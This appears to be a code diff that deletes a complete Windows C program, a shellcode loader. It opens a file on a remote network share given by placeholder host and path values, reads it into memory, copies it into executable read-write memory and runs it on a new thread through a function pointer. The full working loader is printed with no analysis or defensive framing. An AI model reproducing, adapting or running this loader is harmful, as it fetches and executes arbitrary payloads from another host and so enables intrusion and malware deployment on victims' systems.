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@@ -1,128 +0,0 @@
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-#include <windows.h>
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-#include <winnetwk.h>
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-#include <wchar.h>
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-
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-// Function prototype for ThreadFunction
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-DWORD WINAPI ThreadFunction(LPVOID lpParameter);
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-
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-// Print error messages
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-void PrintError(const wchar_t* action) {
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- wprintf(L"[!] %s Failed With Error : %d \n", action, GetLastError());
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-}
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-
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-BOOL FindFileShare(LPCWSTR szServer, LPCWSTR szFilePath, PBYTE* binaryData, SIZE_T* binarySize) {
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- BOOL operationSuccess = TRUE;
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- PBYTE allocatedMemory = NULL;
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-
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- WCHAR szFullUNCPath[MAX_PATH];
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- swprintf_s(szFullUNCPath, MAX_PATH, L"\\\\%s\\%s", szServer, szFilePath);
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-
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- wprintf(L"Attempting to open file: %s\n", szFullUNCPath);
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-
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- HANDLE hFile = CreateFileW(szFullUNCPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
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- if (hFile == INVALID_HANDLE_VALUE) {
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- PrintError(L"CreateFileW");
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- operationSuccess = FALSE;
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- }
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- else {
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- wprintf(L"File opened successfully.\n");
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-
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- DWORD fileSize = GetFileSize(hFile, NULL);
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- if (fileSize == INVALID_FILE_SIZE) {
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- PrintError(L"GetFileSize");
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- operationSuccess = FALSE;
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- }
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- else {
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- wprintf(L"File size: %u bytes\n", fileSize);
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-
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- allocatedMemory = (PBYTE)LocalAlloc(LPTR, fileSize);
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- if (allocatedMemory == NULL) {
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- PrintError(L"LocalAlloc");
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- operationSuccess = FALSE;
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- }
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- else {
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- wprintf(L"Allocated memory for file content.\n");
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-
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- DWORD bytesRead;
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- if (!ReadFile(hFile, allocatedMemory, fileSize, &bytesRead, NULL)) {
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- PrintError(L"ReadFile");
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- operationSuccess = FALSE;
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- }
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-
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- *binaryData= allocatedMemory;
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- *binarySize = bytesRead;
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- }
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- }
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-
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- CloseHandle(hFile);
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- }
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-
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- return operationSuccess;
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-}
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-
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-
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-BOOL ExecuteBinaryInMemory(const PBYTE BinaryData, SIZE_T DataSize) {
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- wprintf(L"Executing binary in memory...\n");
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-
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- LPVOID pMemory = VirtualAlloc(NULL, DataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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- if (pMemory == NULL) {
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- PrintError(L"VirtualAlloc");
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- return FALSE;
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- }
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-
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- memcpy(pMemory, BinaryData, DataSize);
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-
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- HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, pMemory, 0, NULL);
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- if (hThread == NULL) {
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- PrintError(L"CreateThread");
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- VirtualFree(pMemory, 0, MEM_RELEASE);
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- return FALSE;
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- }
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-
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- WaitForSingleObject(hThread, INFINITE);
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- CloseHandle(hThread);
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-
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- VirtualFree(pMemory, 0, MEM_RELEASE);
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-
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- wprintf(L"Execution complete.\n");
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-
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- return TRUE;
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-}
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-
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-DWORD WINAPI ThreadFunction(LPVOID lpParameter) {
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- wprintf(L"Thread started...\n");
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-
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- PBYTE BinaryData = (PBYTE)lpParameter;
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- typedef void (*FunctionPointer)();
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- FunctionPointer pFunction = (FunctionPointer)BinaryData;
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-
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- wprintf(L"Calling the shellcode function...\n");
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-
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- pFunction();
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-
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- wprintf(L"Thread completed.\n");
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-
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- return 0;
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-}
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-
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-int main() { // Change wmain to main
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- LPCWSTR szServer = L"HOSTNAME";
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- LPCWSTR szFilePath = L"PATH\\TO\\SHELCODE\\FILE";
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-
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- wprintf(L"Attempting to load binary from server %s and file path %s\n", szServer, szFilePath);
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-
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- PBYTE Payload;
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- SIZE_T PayloadSize;
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-
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- BOOL success = FindFileShare(szServer, szFilePath, &Payload, &PayloadSize);
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-
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- if (success) {
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- wprintf(L"Binary loaded successfully. Executing...\n");
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-
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- success = ExecuteBinaryInMemory(Payload, PayloadSize);
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-
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- LocalFree(Payload);
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- }
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-
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- return success ? 0 : 1;
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-}
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